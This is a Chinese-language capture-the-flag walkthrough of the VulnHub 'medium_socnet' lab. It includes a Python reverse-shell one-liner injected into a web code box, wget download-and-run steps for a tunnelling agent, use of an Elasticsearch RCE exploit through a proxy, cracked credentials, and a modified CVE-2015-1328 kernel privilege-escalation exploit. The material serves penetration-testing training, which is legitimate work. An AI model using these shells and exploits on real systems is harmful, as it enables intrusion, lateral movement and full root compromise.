【VulnHub靶场】medium_socnet

难度

靶机下载的地址

https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

知识涉及范围:

主机发现
端口扫描
服务发现
路径爬取
代码注入
Shell脚本
内网信息收集
内网穿透
漏洞利用
密码破解
本地提权
攻击代码修改

涉及工具

kali:
arp-scan
nmap
proxychains
venom 
python
......

1.主机发现

此时我的kali和靶机在同一个网段之下,所以我直接使用了arp-scan进行主机的发现

arp-scan -l

【VulnHub靶场】medium_socnet_第1张图片

192.168.196.1    192.168.196.2    192.168.196.254

都是我本地主机以及其他ip,所以现在就是只能是 192.168.196.149是目标靶机

2.信息收集

2.1端口扫描

扫描端口依旧是老牌应用nmap,对目标开放端口进行扫描,基本命令

nmap -p- 192.168.196.149 

结果如下:

【VulnHub靶场】medium_socnet_第2张图片

注意细节:

我多加了个-,区别在于命令 nmap -p- 192.168.196.149 将扫描目标主机上的所有端口,命令 nmap -p 192.168.196.149 将只扫描默认的端口范围。

2.2端口开放结果:

开放了22和5000两个端口

PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp
MAC Address: 00:0C:29:51:6A:38 (VMware)

 

2.3服务版本发现

命令:

nmap -p22,5000 -sV 192.168.196.149

【VulnHub靶场】medium_socnet_第3张图片 

发现了22端口是ssh服务,并且是Ubuntu的系统,

5000端口是http服务,这是一个基于python语言开发的底层框架,并且是python2.7版本

2.4页面测试

访问5000端口查看是否有薄弱的攻击点,发现了一个页面,只有一个输入的表单页面

【VulnHub靶场】medium_socnet_第4张图片

第一反应对输入框进行测试,先进行正常输入看看反应,然后进行其他测试

正常输入:

【VulnHub靶场】medium_socnet_第5张图片

xss测试

【VulnHub靶场】medium_socnet_第6张图片

sql注入:【VulnHub靶场】medium_socnet_第7张图片 

都没什么反应

就是一个简单的web应用

3.路径爬取

我们这里使用的dirsearch

dirsearch  -u http://192.168.196.149:5000/ 

 【VulnHub靶场】medium_socnet_第8张图片

扫描结果发现存在admin的路径,访问查看

【VulnHub靶场】medium_socnet_第9张图片 

3.代码注入

然后发现可以执行代码的地方,这时候我们使用python语言进行反弹shell

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.196.130",6888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

在kali中进行监听:

nc -nvlp 6888 

 

反弹shell回来 

成功反弹shell

查看当前用户 

成功拿到root权限

查看ls文件

【VulnHub靶场】medium_socnet_第10张图片

拿到shell

这样就结束了,有了最高权限............

 

 

这么简单,不是,哥们,你真信了?

3.1docker判断

注意细节啊

【VulnHub靶场】medium_socnet_第11张图片

你进的是人家docker,进的都是虚拟环境,没什么卵用的,接下来进行去判断,你是否在docker容器之中

看看一些文件

【VulnHub靶场】medium_socnet_第12张图片

这就是docker的简单部署环境的方法,以及配置文件,基本怀疑

二次确定

根目录下出现了 .dockerenv基本确定就是在docker内

 【VulnHub靶场】medium_socnet_第13张图片

再次决定

查看文件

cat /proc/1/cgroup

文件内出现一些文件

【VulnHub靶场】medium_socnet_第14张图片

 

1进程代表着初始化进程的ID,初始化进行cgroup包括了docker映像的指示信息,并且哈希值都看到了

肯定是docker容器了,我们要突破隔离docker隔离,去找到宿主机,并且拿下

4.Shell脚本

前边我们已经拿下了容器,我们现在去看看docker容器的ip

执行命令查看当前ip

ip a

 【VulnHub靶场】medium_socnet_第15张图片

发现ip为 172.17.0.3

和我们访问的ip地址不一样

更加证实了我们的猜想,是正确的就是在docker之中

【VulnHub靶场】medium_socnet_第16张图片

接下来我们去对内网进行主机的探测

当然是使用ping啦,一个一个去ping试试?

你真试试啊,这是/16啊,存在65535个ip,你真一个个去ping啊

【VulnHub靶场】medium_socnet_第17张图片 然后就需要去写一个简单的shell脚本了

for i in $(set 1 10); do ping -c 1 172.17.0.$i;done

 注:此处应该是对1-65535全ip进行扫描,因为时间太长我就对ip进行了限制,真实环境下为防止漏掉,应该写成:

for i in {1..255};do for j in {1..255};do ping 172.17.$i. $j;done;done;

 然后结果如图

【VulnHub靶场】medium_socnet_第18张图片

172.17.0.1和

172.17.0.2进行了回包

emmmm,其实这时候可以进行fscan进行一把梭,我们这里就按部就班的来了

5.内网穿透

探测的话,因为是在内网,所以我们就是无法访问,需要搭建隧道去进行访问

我这里使用的是venom ,文件方便下载可以改一个名字

在kali上运行并且监听本地1026端口 

 【VulnHub靶场】medium_socnet_第19张图片服务端没有?启动python的http服务去下载运行

python -m http.server 80

【VulnHub靶场】medium_socnet_第20张图片访问测试

 【VulnHub靶场】medium_socnet_第21张图片

下载在目标靶机上 使用wget命令去下载

wget http://192.168.196.130/xichen   #下载目标靶机
ls  #查看当前目录,查看是否下载成功
chmod +x xichen  #赋予他可执行的权限
./xichen  #执行

 根据帮助文档,我们需要做的就是执行以下命令

./xichen -rhost 192.168.196.130 -rport 1026

【VulnHub靶场】medium_socnet_第22张图片

【VulnHub靶场】medium_socnet_第23张图片 

执行成功 

查看攻击端是否接受到客户端发来的链接 

【VulnHub靶场】medium_socnet_第24张图片 

图上已经成功收到

在服务器端使用show命令查看,并且goto到这个节点

 

【VulnHub靶场】medium_socnet_第25张图片 

并且我们在这个节点启动socks 侦听端口1080

这样我们就在kali上启动了socks代理,并且侦听端口为1080,这样方便我们去访问目标系统的内网

5.1linux的代理工具

我们此时就可以挂代理去使用了,我们使用的是proxychains代理工具

使用命令:

vim  /etc/proxychains4.conf

 【VulnHub靶场】medium_socnet_第26张图片

然后划到最下边,去添加一行(我的建议是进行注释添加,而不是对以上进行删除,这样方便以后得恢复甚至记录的使用)

socks5 127.0.0.1 1080

因为我们前边建立的就是socks的隧道并且是1080端口,所以这里是对应的

 【VulnHub靶场】medium_socnet_第27张图片

 

5.2内网扫描

我们现在就可以对目标靶机进行内网扫描了

前边已知我们发现的内网的ip是172.16.0.1 和 172.16.0.2

我们对其进行端口扫描

proxychains nmap -Pn -sT 172.16.0.1  #使用nmap和proxychains搭配进行使用

发现其中开放了 22和5000端口,这不是我们之前看到的网页的端口吗

【VulnHub靶场】medium_socnet_第28张图片

 

我们去对服务版本的探测,这不就一样吗

【VulnHub靶场】medium_socnet_第29张图片 

为了验证,我们去访问,试试

挂上socks服务代理(此处我的是因为断了,重新搭建的,刚刚使用的都是1080,后边改回去)

 

【VulnHub靶场】medium_socnet_第30张图片 

访问测试

【VulnHub靶场】medium_socnet_第31张图片 

【VulnHub靶场】medium_socnet_第32张图片 

这不就是刚刚那个吗

说明172.17.0.1就是刚刚192.168.196.149那个ip的,只不过172.17.0.1是面对容器的开放ip,基本判断就是我们的目标的主机了

接下来对172.16.0.2进行端口扫描

 

proxychains nmap -Pn -sT 172.16.0.2  #使用nmap和proxychains搭配进行使用

【VulnHub靶场】medium_socnet_第33张图片

 

开放了9200这个端口 #这个是ElasticSearch的端口

我们去验证,使用以下命令对端口进行应用服务扫描

 

proxychains nmap -p9200 -Pn -sT -sV 172.17.0.2

【VulnHub靶场】medium_socnet_第34张图片

发现就是是ElasticSearch的服务并且是1.4.2版本

6漏洞利用

我们看看是否能拿下这台主机,我们将使用searchsploit漏洞查找工具去进行查找 

使用命令

 

searchsploit Elasticsearch 

【VulnHub靶场】medium_socnet_第35张图片

 

发现存在较多的rce漏洞,我们此处使用第一个

使用以下命令下载到当前目录

 searchsploit -m linux/remote/36337.py

【VulnHub靶场】medium_socnet_第36张图片然后我们查看一下发现是使用的python2版本

【VulnHub靶场】medium_socnet_第37张图片 

所以我们去运行python2的版本去运行 

【VulnHub靶场】medium_socnet_第38张图片 运行命令是:

proxychains python2 36337.py  http://172.17.0.2:9200/

【VulnHub靶场】medium_socnet_第39张图片

此时获取到了root权限

 但是此时还是容器的root权限,我们看看都有什么内容

【VulnHub靶场】medium_socnet_第40张图片

passwords这个就很敏感,我们看看里边都有什么内容

cat passwords

【VulnHub靶场】medium_socnet_第41张图片

7.密码破解

这是个存放账号密码的地方,我们需要去破解

破解出来是

john:1337hack

test:1234test

admin:1111pass

root:1234pass

jane:1234jane

这里推荐几个网址:

https://www.cmd5.com/
http://pmd5.com/
http://www.xmd5.org/
http://md5.gromweb.com/
https://md5.gromweb.com/

然后去ssh试着链接我们访问的192.168.196.139 使用john用户(都试试,但是我试过的能连接的就这个了)

【VulnHub靶场】medium_socnet_第42张图片

 进入了目标系统

8.本地提权

首先使用

sudo su #suid提权

【VulnHub靶场】medium_socnet_第43张图片

发现只是普通用户,没有什么权限

我们想拿到root权限,怎么提权呢

最经典的就是内核和suid

suid不行直接试试内核,使用以下命令去进行版本内核查询

uname -a

发现内核版本是3.13.0-24-generic这个就是很旧的版本了,现在都在6吧我记得.

9.攻击代码修改

依旧是漏洞查询

searchsploit linux 3.13

【VulnHub靶场】medium_socnet_第44张图片

我们这里使用这个exp去试试

我们下载到本地:

searchsploit -m  linux/local/37292.c

【VulnHub靶场】medium_socnet_第45张图片接下来我们查看代码,发现是C语言编写

【VulnHub靶场】medium_socnet_第46张图片我们在linux运行需要对C语言进行编译,但是我们的目标的主机上没有安装gcc

我们现在就换个思路

但是我们可以在kali上编译好再传输过去,但是查看C语言代码中还有一个编译的语句,即使我在kali上编译好了,他还是无法正常运行,他还要在编译一个文件,如下图

【VulnHub靶场】medium_socnet_第47张图片

所以我们要在kali上都做好一起送去使用,并且我们在这个代码上进行修改,这样靶机就不需要去做多余的事情,直接就可以拿去用了

开干!!!

注意这一些代码需要删除

vim 37292.c    

【VulnHub靶场】medium_socnet_第48张图片

我在kali上进行编译gcc文件编译

gcc -o exp313 37292.c 

然后查看

【VulnHub靶场】medium_socnet_第49张图片

我们再去找那个库文件(名字叫做ofs-lib.so)

使用命令查找

 

 locate ofs-lib.so

 

复制到当前目录下:

cp  /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .

然后查看

 

我们需要进行一并传输过去 一个叫做exp313 一个是ofs-lib.so

依旧是老旧演员python去进行开启http服务和wget兄弟的演出

10.攻击执行

kali:

python -m http.server 80

靶机:

wget http://192.168.196.130/exp313
wget http://192.168.196.130/ofs-lib.so

 【VulnHub靶场】medium_socnet_第50张图片

检查下载是否成功

 

 

已经下载成功

为了成功执行我们需要移动到tmp目录下

mv * /tmp/
cd /tmp/
ls  #查看是否移动成功

 赋予exp执行权限

chmod +x exp313
./exp313

11.版本问题

但是我这里出现了一些小插曲,大家也可能遇到

 

开始我怀疑自己的代码有问题,没毛病啊

但是后来发现我的kali机是最新版本,但是这个靶机版本很低

 

ldd --version
#ldd --version命令用于显示ldd工具的版本信息。ldd是一个用于查看可执行文件或共享库所依赖的动态链接库的工具。它会分析目标文件并列出其中使用的共享库及其对应的版本信息。

#通过运行ldd --version,您可以获取安装在系统上的ldd工具的版本信息。这可以帮助您了解正在使用的ldd版本,并在需要时与其他人进行版本比较或确认。

kali 

【VulnHub靶场】medium_socnet_第51张图片

没办法去官网下载吧

靶机适用的版本 在

http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb

下载解压,在其中的 /lib/x86_64-linux-gnu/libc.so.6 一定要在,编译 C 时使用 gcc 参数 -Ldir 指定上面的 libc.so.6 的路径,解决的编译命令: 

 

 gcc -o exp 37292.c -Ldir ./lib/x86_64-linux-gnu/libc.so.6

我去,这坎坷之路

再试一次

编译

gcc -o expnew 37292.c -Ldir ./lib/x86_64-linux-gnu/libc.so.6

【VulnHub靶场】medium_socnet_第52张图片

 

kali:传输过去

python -m http.server 80

【VulnHub靶场】medium_socnet_第53张图片

靶机下载:

wget http://192.168.196.130/expnew

赋予执行权限

chmod +x expnew 

【VulnHub靶场】medium_socnet_第54张图片

./expnew   #建议把文件都放在/tmp目录下

提权成功

【VulnHub靶场】medium_socnet_第55张图片

你可能感兴趣的:(VnlnHub打靶,网络安全)